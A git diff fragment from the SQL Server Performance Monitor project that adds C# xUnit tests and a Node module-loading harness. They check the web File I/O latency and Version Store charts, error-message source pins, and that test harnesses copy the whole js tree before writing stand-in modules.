+            "Both compose markers (#4605) carry the original message for the log. The web route answers the fixed StatementTimeoutText at 400 for the statement marker and never logs or returns its message; the open marker's message reaches the server-error sentence, which ServerErrorResult reclassifies before a browser sees it."
+        ),
+        (
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"),
+            "PostgresOpenTimeout.IsTimedOutOpen(open.InnerException!)",
+            "FromRunException's chain check (#4605, #5016): it only decides WHICH fixed sentence an open failure answers with; the exception's text is not read here."
+        ),
+        (
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"),
+            "{marker.InnerException!.Message}",
+            "FromRunException with the remap flag false (#4605): the same ServerError sentence shape as above, built from the original timeout message; no production caller passes false."
+        ),
+        (
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"),
+            "could not get a store connection in time: {open.InnerException!.Message}",
+            "FromRunException's open-timeout sentence (#4605): a ServerError that names the cause and is logged at Error; ServerErrorResult reclassifies it before a browser sees it."
+        ),
+        (
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"),
+            "could not open a store connection: {open.InnerException!.Message}",
+            "FromRunException's open-failure sentence (#4605): a ServerError carrying the original message for the log; ServerErrorResult reclassifies it before a browser sees it."
+        ),
         (
             Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "Hosting", "DarlingWebOidc.cs"),
             "return new ExchangeResult(null, ex.Message);",
diff --git a/Darling/Darling.Tests/WebFileIoAndPvsWindowPageTests.cs b/Darling/Darling.Tests/WebFileIoAndPvsWindowPageTests.cs
new file mode 100644
index 0000000000..cb8663124b
--- /dev/null
+++ b/Darling/Darling.Tests/WebFileIoAndPvsWindowPageTests.cs
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the two web charts that match the desktop's window and series: the File I/O latency panel reads
+/// get_file_io_trend and draws read AND write latency, and the Version Store trend asks for seven days, the most the
+/// read serves.
+/// </summary>
+public sealed class WebFileIoAndPvsWindowPageTests
+{
+    private static string Tabs => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+
+    private static string Pvs => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "version-store.js").ReplaceLineEndings("\n");
+
+    private static string FileIoPanel
+    {
+        get
+        {
+            var start = Tabs.IndexOf("export function fileIoPanel(", System.StringComparison.Ordinal);
+            Assert.True(start >= 0);
+            return Tabs.Substring(start, Tabs.IndexOf("return panel;", start, System.StringComparison.Ordinal) - start);
+        }
+    }
+
+    [Fact]
+    public void FileIoPanel_ReadsTheTrendOnce_AndPivotsReadAndWriteLatency()
+    {
+        var panel = FileIoPanel;
+        Assert.Single(Regex.Matches(panel, "readToolWithinKeptHistory\\("));
+        Assert.Contains("readToolWithinKeptHistory(\"get_file_io_trend\", { server, hours: ctx.hours })", panel);
+        Assert.Contains("valueKey: \"avg_read_latency_ms\"", panel);
+        Assert.Contains("valueKey: \"avg_write_latency_ms\"", panel);
+        Assert.Contains("\"file-io-latency\"", panel);
+        Assert.Contains("\"file-io-write-latency\"", panel);
+        Assert.Contains("discontinuityNotes(res.data)", panel);
+        Assert.Contains("chartZoomScope(ctx.hours)", panel);
+    }
+
+    [Fact]
+    public void FileIoReadAlreadyReturnsWriteLatency_AndNoQueuedFigure()
+    {
+        var payloads = ReadRepoFile("PerformanceMonitor.Common", "Mcp", "TrendPayloads.cs");
+        Assert.Contains("avg_write_latency_ms = Round2(p.AvgWriteLatencyMs)", payloads);
+        Assert.DoesNotContain("queued", Tabs.Substring(Tabs.IndexOf("export function fileIoPanel(", System.StringComparison.Ordinal), 2500));
+    }
+
+    [Fact]
+    public void VersionStore_AsksForSevenDays_WhichIsTheReadsCeiling()
+    {
+        Assert.Contains("const TREND_HOURS = 168;", Pvs);
+        Assert.Contains("trend_hours_back: TREND_HOURS", Pvs);
+        var helpers = ReadRepoFile("PerformanceMonitor.Common", "Mcp", "McpHelpers.cs");
+        Assert.Contains("public const int MaxHoursBack = 168;", helpers);
+        Assert.Contains("McpHelpers.ValidateHoursBack(trend_hours_back)", ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPvsTools.cs"));
+    }
+}
diff --git a/Darling/Darling.Tests/WebFileIoLatencyBehaviourTests.cs b/Darling/Darling.Tests/WebFileIoLatencyBehaviourTests.cs
new file mode 100644
index 0000000000..106d936776
--- /dev/null
+++ b/Darling/Darling.Tests/WebFileIoLatencyBehaviourTests.cs
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web File I/O latency panel draws, from the shipped <c>server-tabs.js</c> run under Node
+/// (<c>web-server-trends-harness.mjs</c>, file I/O scenarios) against a scripted <c>/api/read</c>: a read-latency chart
+/// and a write-latency chart from one read, the discontinuity notice, a window with no writes, and an empty answer.
+/// </summary>
+public sealed class WebFileIoLatencyBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-server-trends-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the file I/O harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the file I/O harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void OneRead_DrawsAReadLatencyChartAndAWriteLatencyChart_WithTheSameLines()
+    {
+        var r = Run("fileio");
+        Assert.Single(r.GetProperty("reads").EnumerateArray());
+        var charts = r.GetProperty("charts").EnumerateArray().ToArray();
+        Assert.Equal(new[] { "file-io-latency", "file-io-write-latency" }, charts.Select(c => c.GetProperty("id").GetString()).ToArray());
+        foreach (var c in charts)
+        {
+            Assert.Equal("ms", c.GetProperty("unit").GetString());
+            Assert.Equal(new[] { "db_a ROWS", "db_b ROWS" }, Strings(c.GetProperty("labels")).OrderBy(x => x).ToArray());
+        }
+
+        Assert.Equal(charts[0].GetProperty("scope").GetString(), charts[1].GetProperty("scope").GetString());
+    }
+
+    [Fact]
+    public void ABaselineDiscontinuity_IsShownAboveTheCharts()
+    {
+        var r = Run("fileioGap");
+        Assert.Contains("baseline discontinuity at", Strings(r.GetProperty("notices")).Single(n => n.Contains("baseline")));
+        Assert.Equal(2, r.GetProperty("charts").GetArrayLength());
+    }
+
+    [Fact]
+    public void AWindowWithNoWrites_StillDrawsReads_AndSaysSoForWrites()
+    {
+        var r = Run("fileioNoWrites");
+        var charts = r.GetProperty("charts").EnumerateArray().ToArray();
+        Assert.Equal("file-io-latency", Assert.Single(charts).GetProperty("id").GetString());
+        Assert.Contains("No writes in this window.", Strings(r.GetProperty("empties")));
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_DrawsNoChart_AndShowsTheReadsOwnMessage()
+    {
+        var r = Run("fileioEmpty");
+        Assert.Equal(0, r.GetProperty("charts").GetArrayLength());
+        Assert.Contains("No file I/O recorded.", Strings(r.GetProperty("empties")));
+    }
+}
diff --git a/Darling/Darling.Tests/WebHarness/load-web-modules.mjs b/Darling/Darling.Tests/WebHarness/load-web-modules.mjs
new file mode 100644
index 0000000000..80d7f33310
--- /dev/null
+++ b/Darling/Darling.Tests/WebHarness/load-web-modules.mjs
@@ -0,0 +1,93 @@
+import { readdirSync } from "node:fs";
+import { pathToFileURL } from "node:url";
+
+/* Loads EVERY module under wwwroot/js (app.js included, each file on its own) the way the browser does, with a
+   stubbed DOM and fetch. Catches a link-time missing export and an unimported name used at module top level.
+   A name used only inside a function body does not throw here; the source pin in WebModuleLoadTests covers that.
+   Every stub is inert: no timer fires, no request leaves, no listener runs. */
+const problems = [];
+let loading = "(none)";
+const record = (kind, e) => problems.push(kind + " after " + loading + ": " + (e && e.stack ? e.stack.split("\n").slice(0, 3).join(" | ") : String(e)));
+process.on("unhandledRejection", (e) => record("unhandled rejection", e));
+process.on("uncaughtException", (e) => record("uncaught exception", e));
+
+const noop = () => {};
+const node = () => ({
+  style: {}, classList: { add: noop, remove: noop, toggle: noop, contains: () => false }, appendChild: noop, append: noop,
+  prepend: noop, remove: noop, replaceChildren: noop, setAttribute: noop, removeAttribute: noop, addEventListener: noop,
+  removeEventListener: noop, focus: noop, querySelector: () => null, querySelectorAll: () => [], children: [], dataset: {},
+});
+globalThis.document = {
+  createElement: node, createElementNS: node, createTextNode: node, createDocumentFragment: node,
+  getElementById: node, querySelector: () => null, querySelectorAll: () => [], addEventListener: noop,
+  removeEventListener: noop, body: node(), documentElement: node(), cookie: "", hidden: false,
+};
+globalThis.Node = class {};
+globalThis.window = globalThis;
+globalThis.location = { hash: "", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+globalThis.history = { pushState: noop, replaceState: noop, back: noop };
+globalThis.fetch = async () => ({ ok: false, status: 500, json: async () => ({}), text: async () => "" });
+const store = { getItem: () => null, setItem: noop, removeItem: noop };
+globalThis.localStorage = store;
+globalThis.sessionStorage = store;
+globalThis.addEventListener = noop;
+globalThis.removeEventListener = noop;
+globalThis.matchMedia = () => ({ matches: false, addEventListener: noop, removeEventListener: noop });
+globalThis.requestAnimationFrame = noop;
+globalThis.cancelAnimationFrame = noop;
+globalThis.setInterval = () => 0;
+globalThis.clearInterval = noop;
+globalThis.setTimeout = () => 0;
+globalThis.clearTimeout = noop;
+
+function walk(dir) {
+  const out = [];
+  for (const e of readdirSync(dir, { withFileTypes: true }).sort((a, b) => a.name.localeCompare(b.name))) {
+    const p = dir + "/" + e.name;
+    if (e.isDirectory()) out.push(...walk(p));
+    else if (e.name.endsWith(".js")) out.push(p);
+  }
+  return out;
+}
+
+const root = process.argv[2];
+const files = walk(root);
+let count = 0;
+for (const f of files) {
+  const name = f.slice(root.length + 1);
+  let m;
+  loading = name;
+  try {
+    m = await import(pathToFileURL(f).href);
+  } catch (e) {
+    console.error("module " + name + " failed to load: " + (e && e.stack ? e.stack.split("\n").slice(0, 3).join(" | ") : e));
+    process.exit(1);
+  }
+  // database-box.js is the shared Database box the Index Analysis and Locking tabs import (#5231): a helper, not a tab;
+  // gate.js is the shared helper for the tabs' empty and not-collected states on a PostgreSQL target, also not a tab.
+  // window.js is the rolling-only time range picker the windowed tabs share (#5562), also not a tab.
+  if (name.startsWith("pages/finops/") && name !== "pages/finops/database-box.js" && name !== "pages/finops/gate.js" && name !== "pages/finops/window.js") {
+    if (!m.tab || typeof m.tab.build !== "function" || !m.tab.id) {
+      console.error(name + " does not export tab = { id, build }");
+      process.exit(1);
+    }
+  } else if (name === "pages/finops.js" && (typeof m.renderFinops !== "function" || !Array.isArray(m.FINOPS_TABS))) {
+    console.error(name + " does not export renderFinops and FINOPS_TABS");
+    process.exit(1);
+  }
+  console.log("loaded " + name);
+  count++;
+}
+// Work the modules start (app.js start() does not await refreshSidebar or route) settles over several turns, because
+// the fetch stub resolves asynchronously. Drain until three consecutive turns record nothing new (capped).
+for (let quiet = 0, turns = 0; quiet < 3 && turns < 50; turns++) {
+  const before = problems.length;
+  await new Promise((r) => setImmediate(r));
+  quiet = problems.length === before ? quiet + 1 : 0;
+}
+if (problems.length > 0) {
+  for (const p of problems) console.error(p);
+  process.exit(1);
+}
+console.log("loaded " + count + " modules");
+process.exit(0);
diff --git a/Darling/Darling.Tests/WebHarnessJsTreeCopyTests.cs b/Darling/Darling.Tests/WebHarnessJsTreeCopyTests.cs
new file mode 100644
index 0000000000..2343692edd
--- /dev/null
+++ b/Darling/Darling.Tests/WebHarnessJsTreeCopyTests.cs
@@ -0,0 +1,847 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <para>Every web test harness that runs the shipped page scripts under Node copies the WHOLE <c>wwwroot/js</c> tree into its
+/// scratch folder with one <c>fs.cpSync(jsDir, scratch, { recursive: true })</c>, and none copies a module (or a list of
+/// modules, or one directory's worth) by name (#5279). The scan reads every <c>.mjs</c> under <c>Darling/Darling.Tests</c>
+/// (<c>WebHarness/load-web-modules.mjs</c> included), not only the files with "harness" in their name, so a helper file
+/// cannot dodge the rule by what it is called.</para>
+///
+/// <para><b>Why a hand-kept list cannot stay correct.</b> Adding one file under <c>wwwroot/js/pages/</c> meant editing every
+/// harness's copy list, and a PR cannot edit a list that another PR in the same merge train adds. Two PRs that were each
+/// green alone then went red when merged, in test classes that look unrelated to harnesses: <c>server-tabs.js</c> imported
+/// a new page module and a harness that never copied it failed at import, so all of that harness's tests failed. It broke a
+/// train's build, and the harness behind <c>ComposeDataFloorLiveTests.TryRender</c> was a list nobody counted. Copying the
+/// whole tree is harmless because only imported modules load, and each harness writes its stand-in modules AFTER the copy,
+/// so a stand-in still replaces the real file.</para>
+///
+/// <para><b>The rule, as text.</b> A copy call (<c>copyFileSync</c>, <c>copyFile</c>, <c>cpSync</c> or <c>fs.cp</c>) in a harness
+/// is allowed only when it is the whole-tree copy of the js folder (recursive, with no <c>filter</c> that would smuggle a list
+/// back in), or when its source is already inside the scratch tree (the memory-pressure, perfmon, perfmon-multi,
+/// server-trends, waits and waits-activity-trends harnesses copy the real <c>charts.js</c> to <c>charts-real.js</c> before
+/// they write a wrapper over <c>charts.js</c>). The js folder is whatever name the harness binds straight from
+/// <c>process.argv</c>: the key is where the copy's source comes from, not what it is called. The scratch folder is found the
+/// same way: it is whatever name the harness binds from <c>mkdtempSync</c> (also when the call is wrapped in
+/// <c>realpathSync</c> or <c>path.resolve</c>), plus every name bound from <c>path.join(&lt;a scratch name&gt;, ...)</c>, which
+/// is a path inside it. <c>scratch</c> stays a scratch name when nothing binds it, so a harness that makes its folder in a helper
+/// function keeps the verdict it had. A harness that makes a scratch folder (<c>mkdtempSync</c>) must contain the whole-tree
+/// copy, and every stand-in module it writes into the scratch folder (a <c>.js</c> or <c>.mjs</c> path, written directly or
+/// through a name bound from one) must come after EVERY whole-tree copy, because a copy overwrites what is already there. The
+/// analysis is text only, so it does not run Node and it does not need the harnesses to be runnable on the machine that builds
+/// the tests.</para>
+/// </summary>
+public sealed class WebHarnessJsTreeCopyTests
+{
+    /// <summary>The copy calls that put a js module into a scratch folder. <c>cp</c> is matched only as <c>fs.cp</c> or
+    /// <c>fs.promises.cp</c>, so an unrelated function that happens to be called <c>cp</c> is not a copy call.</summary>
+    private static readonly Regex CopyCall = new(
+        @"\b(?<api>copyFileSync|copyFile|cpSync)\s*\(|\bf(?:s|sp)\.(?:promises\.)?(?<api>cp)\s*\(",
+        RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    private static readonly Regex RecursiveTrue = new(@"\brecursive\s*:\s*true\b", RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    private static readonly Regex FilterOption = new(@"\bfilter\b", RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    /// <summary>The call that makes a scratch folder, bound to a name: <c>const tmp = fs.mkdtempSync(...)</c>, the same call wrapped
+    /// in <c>realpathSync</c> or <c>path.resolve</c>, or <c>mkdtempSync</c> imported by name. Group <c>name</c> is the folder.</summary>
+    private static readonly Regex FolderBinding = new(
+        @"\b(?:const|let|var)\s+(?<name>[A-Za-z_$][\w$]*)\s*=\s*(?:(?:fs\.)?realpathSync(?:\.native)?\s*\(\s*|path\.resolve\s*\(\s*)*(?:fs\.)?mkdtempSync\s*\(",
+        RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    /// <summary>A name bound from a path built on another name: <c>const pages = path.join(tmp, "pages")</c>. Group <c>name</c> is the
+    /// bound name, <c>base</c> the name the path is built on, and <c>call</c> and <c>open</c> locate the call.</summary>
+    private static readonly Regex PathBinding = new(
+        @"\b(?:const|let|var)\s+(?<name>[A-Za-z_$][\w$]*)\s*=\s*(?<call>path\.(?:join|resolve))\s*(?<open>\()\s*(?<base>[A-Za-z_$][\w$]*)\s*[,)]",
+        RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    private static readonly Regex WriteCall = new(@"\bwriteFileSync\s*\(", RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    /// <summary>A path argument that names a js module of either extension, as in <c>path.join(scratch, "pages", "server.js")</c>
+    /// or <c>path.join(scratch, "stub.mjs")</c>. The <c>package.json</c> marker a harness writes ends in neither, so it is not one.</summary>
+    private static readonly Regex ModuleTarget = new(@"\.m?js""\s*\)?\s*$", RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    /// <summary>A plain js name, which is the only kind of copy source that can be a folder the harness took from the command line.</summary>
+    private static readonly Regex Identifier = new(@"^[A-Za-z_$][\w$]*$", RegexOptions.Compiled, TimeSpan.FromSeconds(5));
+
+    private static readonly string[] SkippedDirectories = { "bin", "obj", "node_modules" };
+
+    /// <summary>The line a harness starts from: the js folder the test passes in, bound from the command line.</summary>
+    private const string JsDirFromArgv = "const jsDir = process.argv[2];\n";
+
+    private const string ScratchFolder = "const scratch = fs.mkdtempSync(path.join(os.tmpdir(), \"x-\"));\n";
+
+    /// <summary>The line that makes a scratch folder and binds it under <paramref name="name"/>, whatever the harness calls it.</summary>
+    private static string FolderMadeBy(string name) =>
+        "const " + name + " = fs.mkdtempSync(path.join(os.tmpdir(), \"x-\"));\n";
+
+    /// <summary>
+    /// Every harness copies the whole js tree, and none copies by name. On failure it names each file, the line and the call.
+    /// </summary>
+    [Fact]
+    public void EveryWebHarness_CopiesTheWholeJsTree_AndNoneCopiesByName()
+    {
+        var harnesses = HarnessFiles(PathTo("Darling", "Darling.Tests")).ToList();
+        Assert.True(harnesses.Count > 0, "no .mjs file found under Darling/Darling.Tests, so this pin would read nothing");
+
+        var offenders = new List<string>();
+        var copyingTheTree = 0;
+        var bindingTheFolder = 0;
+        foreach (var file in harnesses)
+        {
+            var source = File.ReadAllText(file);
+            var relative = Path.GetRelativePath(Root, file).Replace('\\', '/');
+            offenders.AddRange(Violations(source).Select(v => relative + ": " + v));
+
+            if (CopiesWholeTree(source))
+            {
+                copyingTheTree++;
+            }
+
+            if (new ScratchNames(source).Bound.Count > 0)
+            {
+                bindingTheFolder++;
+            }
+        }
+
+        Assert.True(offenders.Count == 0,
+            "These web test harnesses copy js modules by name or by directory instead of copying the whole tree (#5279). " +
+            "A copy list goes stale. A PR cannot edit a list that another PR in the same merge train adds, so two PRs that " +
+            "pass alone fail when merged.\n\n" +
+            "Copy the whole tree with one call: fs.cpSync(jsDir, scratch, { recursive: true }). " +
+            "The first argument is the js folder the test passes in. Bind it from process.argv under any name. " +
+            "For example, const [jsDir, scenario] = process.argv.slice(-2). " +
+            "Put the call before you write the stand-in modules, so each stand-in still replaces the real file. " +
+            "Delete the list.\n\n" + string.Join("\n", offenders));
+
+        /* Not vacuous: the analysis has to recognise the allowed form in at least one real harness, or it would pass a tree
+           whose every harness it simply failed to read. */
+        Assert.True(copyingTheTree > 0, "no harness was recognised as copying the whole js tree, so this pin cannot be trusted");
+
+        /* The same for the scratch folder: at least one real harness must bind it from mkdtempSync in a form the analysis
+           recognises, or the order rule would read every harness through the fallback name alone. */
+        Assert.True(bindingTheFolder > 0, "no harness was recognised as binding its scratch folder from mkdtempSync, so this pin cannot be trusted");
+    }
+
+    /// <summary>
+    /// The analysis flags each way a harness can copy by name, so a regression to a hand-kept list cannot read as clean.
+    /// </summary>
+    [Theory]
+    [InlineData("fs.copyFileSync(path.join(jsDir, \"util.js\"), path.join(scratch, \"util.js\"));")]
+    [InlineData("for (const f of [\"util.js\", \"panels.js\"]) fs.copyFileSync(path.join(jsDir, f), path.join(scratch, f));")]
+    [InlineData("for (const f of fs.readdirSync(jsDir)) if (f.endsWith(\".js\")) fs.copyFileSync(path.join(jsDir, f), path.join(scratch, f));")]
+    [InlineData("const from = path.join(jsDir, rel);\nfs.copyFileSync(from, path.join(scratch, rel));")]
+    [InlineData("fs.cpSync(path.join(jsDir, \"pages\"), path.join(scratch, \"pages\"), { recursive: true });")]
+    [InlineData(JsDirFromArgv + "fs.cpSync(jsDir, scratch, { recursive: true, filter: (src) => src.endsWith(\"util.js\") });")]
+    [InlineData(JsDirFromArgv + "fs.cpSync(jsDir, scratch);")]
+    [InlineData("await fs.promises.copyFile(path.join(jsDir, \"util.js\"), path.join(scratch, \"util.js\"));")]
+    /* The key is where the copy's source comes from, not what it is called (#5279): a by-name module copy is flagged under any
+       variable name, and a folder that does not come straight from process.argv is not the whole tree. */
+    [InlineData("const root = process.argv[2];\nconst from = path.join(root, \"util.js\");\nfs.copyFileSync(from, path.join(scratch, \"util.js\"));")]
+    [InlineData(JsDirFromArgv + "const pagesDir = path.join(jsDir, \"pages\");\nfs.cpSync(pagesDir, scratch, { recursive: true });")]
+    [InlineData("fs.cpSync(jsDir, scratch, { recursive: true });")]
+    [InlineData("const jsDir = path.join(process.argv[2], \"pages\");\nfs.cpSync(jsDir, scratch, { recursive: true });")]
+    [InlineData("const [jsDirs, scenario] = process.argv.slice(-2);\nfs.cpSync(jsDir, scratch, { recursive: true });")]
+    public void APiecemealCopy_IsFlagged(string snippet)
+    {
+        Assert.NotEmpty(Violations(snippet));
+    }
+
+    /// <summary>
+    /// A harness that builds a scratch folder without ever making the whole-tree copy is flagged even when it calls no copy
+    /// function at all (it might write each module with <c>writeFileSync</c>).
+    /// </summary>
+    [Fact]
+    public void AScratchFolderWithoutTheWholeTreeCopy_IsFlagged()
+    {
+        const string source =
+            "import fs from \"node:fs\";\n" +
+            ScratchFolder +
+            "fs.writeFileSync(path.join(scratch, \"util.js\"), fs.readFileSync(path.join(jsDir, \"util.js\")));\n";
+
+        /* Like the by-name copy, it names its line, so a reader can find the scratch folder in a long harness. */
+        var violation = Assert.Single(Violations(source));
+        Assert.StartsWith("line 2:", violation);
+    }
+
+    /// <summary>
+    /// A stand-in module written before the whole-tree copy would be overwritten by the real file, so it is flagged. The
+    /// <c>package.json</c> marker is not a module and may come first.
+    /// </summary>
+    [Fact]
+    public void AStandInWrittenBeforeTheWholeTreeCopy_IsFlagged()
+    {
+        const string early =
+            JsDirFromArgv + ScratchFolder +
+            "fs.writeFileSync(path.join(scratch, \"charts.js\"), \"export const stub = 1;\\n\");\n" +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n";
+        const string marker =
+            JsDirFromArgv + ScratchFolder +
+            "fs.writeFileSync(path.join(scratch, \"package.json\"), \"{}\");\n" +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n";
+
+        Assert.Single(Violations(early));
+        Assert.Empty(Violations(marker));
+    }
+
+    /// <summary>
+    /// The order rule holds against EVERY whole-tree copy that follows a stand-in, not only the first copy in the file. A stand-in
+    /// written between two copies is overwritten by the second one (#5279). The chart-at-time harness copies the tree twice, into
+    /// <c>scratch/shipped</c> and then into <c>scratch</c>, and is correct because its stand-ins come after both.
+    /// </summary>
+    [Fact]
+    public void AStandInWrittenBetweenTwoWholeTreeCopies_IsFlagged()
+    {
+        const string between =
+            JsDirFromArgv + ScratchFolder +
+            "fs.cpSync(jsDir, path.join(scratch, \"shipped\"), { recursive: true });\n" +
+            "fs.writeFileSync(path.join(scratch, \"charts.js\"), \"export const stub = 1;\\n\");\n" +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n";
+        const string inOrder =
+            JsDirFromArgv + ScratchFolder +
+            "fs.cpSync(jsDir, path.join(scratch, \"shipped\"), { recursive: true });\n" +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n" +
+            "fs.writeFileSync(path.join(scratch, \"charts.js\"), \"export const stub = 1;\\n\");\n";
+
+        Assert.Single(Violations(between));
+        Assert.Empty(Violations(inOrder));
+    }
+
+    /// <summary>
+    /// A stand-in is a module of either extension: an <c>.mjs</c> one is overwritten by a later copy just like a <c>.js</c> one
+    /// (#5279). A path that is not a module (the <c>package.json</c> marker) is still free to come first.
+    /// </summary>
+    [Theory]
+    [InlineData("charts.js", 1)]
+    [InlineData("stub.mjs", 1)]
+    [InlineData("package.json", 0)]
+    public void AWriteBeforeTheWholeTreeCopy_IsFlaggedWhenItIsAJsOrMjsModule(string file, int expected)
+    {
+        var source =
+            JsDirFromArgv + ScratchFolder +
+            "fs.writeFileSync(path.join(scratch, \"" + file + "\"), \"export const stub = 1;\\n\");\n" +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n";
+
+        Assert.Equal(expected, Violations(source).Count);
+    }
+
+    /// <summary>
+    /// The whole-tree copy, and a copy whose source is already inside the scratch tree, are the two allowed forms.
+    /// </summary>
+    [Fact]
+    public void TheWholeTreeCopy_AndAnInScratchCopy_AreNotFlagged()
+    {
+        const string source =
+            JsDirFromArgv + ScratchFolder +
+            "fs.cpSync(jsDir, scratch, { recursive: true });\n" +
+            "fs.copyFileSync(path.join(scratch, \"charts.js\"), path.join(scratch, \"charts-real.js\"));\n" +
+            "fs.writeFileSync(path.join(scratch, \"charts.js\"), \"export const stub = 1;\\n\");\n";
+
+        Assert.Empty(Violations(source));
+        Assert.True(CopiesWholeTree(source));
+    }
+
+    /// <summary>
+    /// The whole-tree copy is recognised by where its source comes from, not by what the harness calls it (#5279): a name bound
+    /// from <c>process.argv</c> is the js folder the test passes in, whether the harness calls it <c>jsDir</c> or <c>root</c>, and
+    /// whichever way it reads the command line.
+    /// </summary>
+    [Theory]
+    [InlineData("const root = process.argv[2];\nfs.cpSync(root, scratch, { recursive: true });")]
+    [InlineData("const [root, scenario] = process.argv.slice(-2);\nfs.cpSync(root, scratch, { recursive: true });")]
+    [InlineData("let tree = process.argv[2];\nfs.cpSync(tree, scratch, { recursive: true });")]
+    [InlineData("const jsDir = path.resolve(process.argv[2]);\nfs.cpSync(jsDir, scratch, { recursive: true });")]
+    [InlineData("const jsDir = process.argv[process.argv.length - 1];\nfs.cpSync(jsDir, scratch, { recursive: true });")]
+    public void AWholeTreeCopyOfTheFolderTakenFromArgv_IsNotFlagged_UnderAnyName(string copy)
+    {
+        var source = ScratchFolder + copy + "\n";
+
+        Assert.Empty(Violations(source));
+        Assert.True(CopiesWholeTree(source));
+    }
+
+    /// <summary>
+    /// The scratch folder is recognised by where it comes from, as the js folder is (#5279): it is the name the harness binds from
+    /// <c>mkdtempSync</c>, whatever the harness calls it. A by-name copy into a folder called <c>tmp</c> is flagged exactly as one
+    /// into <c>scratch</c> is, and the whole-tree copy that precedes it does not excuse it.
+    /// </summary>
+    [Theory]
+    [InlineData("scratch")]
+    [InlineData("tmp")]
+    [InlineData("work")]
+    [InlineData("$dir")]
+    public void AByNameCopyIntoTheFolder_IsFlagged_UnderAnyFolderName(string folder)
+    {
+        var source =
+            JsDirFromArgv + FolderMadeBy(folder) +
+            "fs.cpSync(jsDir, " + folder + ", { recursive: true });\n" +
+            "fs.copyFileSync(path.join(jsDir, \"util.js\"), path.join(" + folder + ", \"util.js\"));\n";
+
+        var violation = Assert.Single(Violations(source));
+        Assert.StartsWith("line 4:", violation);
+    }
+
+    /// <summary>
+    /// A stand-in written into the folder before the whole-tree copy is flagged under any folder name (#5279). The copy overwrites it
+    /// with the real module, whether the folder is called <c>scratch</c> or not.
+    /// </summary>
+    [Theory]
+    [InlineData("scratch")]
+    [InlineData("tmp")]
+    [InlineData("work")]
+    [InlineData("$dir")]
+    public void AStandInWrittenBeforeTheWholeTreeCopy_IsFlagged_UnderAnyFolderName(string folder)
+    {
+        var source =
+            JsDirFromArgv + FolderMadeBy(folder) +
+            "fs.writeFileSync(path.join(" + folder + ", \"charts.js\"), \"export const stub = 1;\\n\");\n" +
+            "fs.cpSync(jsDir, " + folder + ", { recursive: true });\n";
+
+        var violation = Assert.Single(Violations(source));
+        Assert.StartsWith("line 3:", violation);
+    }
+
+    /// <summary>
+    /// The correct pattern is clean under any folder name (#5279): the whole-tree copy, then the in-folder copy that keeps the real
+    /// <c>charts.js</c> as <c>charts-real.js</c>, then the stand-in. The in-folder copy is allowed because its source is inside the
+    /// folder, so the folder has to be recognised for the copy to pass.
+    /// </summary>
